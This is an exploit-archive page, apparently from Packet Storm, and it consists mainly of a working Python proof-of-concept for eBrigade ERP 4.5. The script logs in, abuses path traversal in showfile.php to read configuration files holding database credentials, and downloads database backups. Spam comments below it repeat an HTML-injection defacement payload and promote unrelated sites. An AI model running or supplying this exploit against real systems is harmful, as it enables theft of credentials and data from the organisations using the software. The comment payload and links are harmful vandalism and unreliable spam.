what you don't know can hurt you

eBrigade ERP 4.5 Arbitrary File Download

eBrigade ERP 4.5 Arbitrary File Download
Posted Jan 10, 2019
Authored by Ozkan Mustafa Akkus

eBrigade ERP version 4.5 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, info disclosure
MD5 | 8bc43e99087544d6ef0f5bd9aa68c798

eBrigade ERP 4.5 Arbitrary File Download

Change Mirror Download
#!/usr/bin/python

import mechanize, sys, cookielib, requests
import colorama, urllib, re, random, urllib2
import wget
from colorama import Fore
from tqdm import tqdm
from pathlib import Path

def bannerche():
print '''
@-------------------------------------------------------------@
| eBrigade ERP <= 4.5 - Database Backup Disclosure via AFD |
| Vulnerability discovered by AkkuS |
| My Blog - https://pentest.com.tr |
@-------------------------------------------------------------@
'''
bannerche()

if (len(sys.argv) != 2):
print "[*] Usage: poc.py <RHOST>"
exit(0)

rhost = sys.argv[1]
UserName = str(raw_input("Identifiant: ")) # Administrator/User Username Input
Password = str(raw_input("Password: ")) # Administrator/User Password Input

print(Fore.BLUE + "+ [*] Getting login permission...")
br = mechanize.Browser() # set cookies
br.set_handle_robots(False)
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)

br.open("http://"+rhost+"/") # User Access Login
assert br.viewing_html()
br.select_form(nr=0)
br.form['id'] = UserName
br.form['pwd'] = Password
br.submit()

##
# Login Access and Version Control
##

LoginControl = requests.get("http://"+rhost+"/index_d.php", cookies=cj)
HTMLdata = LoginControl.text

finder = re.findall(r'version<b> 4.5', HTMLdata)
try:
version = finder[0].replace('"','').replace('<b>','').strip()
except IndexError:
pass
try:
if version == "version 4.5":
print (Fore.GREEN + "+ [*] Login successful")
except NameError:
pass
print (Fore.RED + "+ [*] User information is incorrect or version incompatible")
##
# Introducing Cookie and CSRF token information
##

print (Fore.BLUE + "+ [*] Select Exploit Type:")
print (Fore.YELLOW +"- [*] 1 - Arbitrary File Download/Read (Ex: /conf/sql.php)")
print ("- [*] 2 - Database Backup File Download")
choice = int(raw_input("- [*] Enter a number (1 or 2) : "))

if choice == 1:
print (Fore.BLUE + "+ [*] Select the file you want to Download/Read:")
print (Fore.YELLOW + "- [*] 1 - /conf/sql.php")
print ("- [*] 2 - /config.php")
print ("- [*] 3 - /.htaccess.template")
print ("- [*] 4 - Manual exploitation")
AFDc = int(raw_input("- [*] Enter a number : "))
if AFDc == 1:
AFD1 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../conf/sql.php", cookies=cj)
print AFD1.text
elif AFDc == 2:
AFD2 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../config.php", cookies=cj)
print AFD2.text
elif AFDc == 3:
AFD3 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../.htaccess.template", cookies=cj)
print AFD3.text
elif AFDc == 4:
print (Fore.RED +"- [!] You must have knowledge of files and directories")
AFDmc = str(raw_input(Fore.BLUE + "+ [*] Enter file name (Ex: /lib/PHPMailer/class.smtp.php) : "))
AFD4 = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../.."+AFDmc+"", cookies=cj)
if AFD4.status_code == 200:
try:
mdata = AFD4.text
Le = re.findall(r'javascript:history.back', mdata)
LeClean = Le[0].replace('"','').strip()
if LeClean == "javascript:history.back":
print (Fore.RED + "+ [X] The directory and file name you entered could not be found or incorrect")
except IndexError:
pass
print AFD4.text
else:
print (Fore.RED + "+ [X] Unable to access file")
sys.exit()
else:
print("Invalid input!")

elif choice == 2:

backupfiles = requests.get("http://"+rhost+"/restore.php?file=", cookies=cj)
RecentesData = backupfiles.text
finder = re.findall(r'a href=".*"', RecentesData)
names = finder[0].replace('"','').replace('javascript:deletefile','').replace('a href=javascript:restore','').replace('save','').replace("'",'').replace('(','').replace(')','').replace(',','').strip()
print ("+ [*] Backup File Name : " + names)

DB = requests.get("http://"+rhost+"/showfile.php?section=0&pompier=1&file=../../../user-data/save/"+names+"", cookies=cj)

with open(names, "wb") as handle:
for data in tqdm(DB.iter_content()):
handle.write(data)

p = str(Path.cwd())
print(Fore.GREEN + "+ [*] Backup successfully downloaded. Directory path : " + p + "/" + names)
else:
print("Invalid input!")

# end



Comments (3)

RSS Feed Subscribe to this comment feed
cemllyrios

use payload : /updates.php?id=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>
Do visit the link www.f2help.com/laptop-repair

Comment by cemllyrios
2019-01-11 06:17:44 UTC | Permalink | Reply
valentinajacob

Le = re.findall(r'javascript:history.back', mdata)
LeClean = Le[0].replace('"','').strip()
if LeClean == "javasc

techcloud7.org

Comment by valentinajacob
2019-01-19 10:31:53 UTC | Permalink | Reply
valentinajacob

/updates.php?id=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>
also visit to the urbanclap.ae/cctv-installation

Comment by valentinajacob
2019-01-19 10:33:06 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    8 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close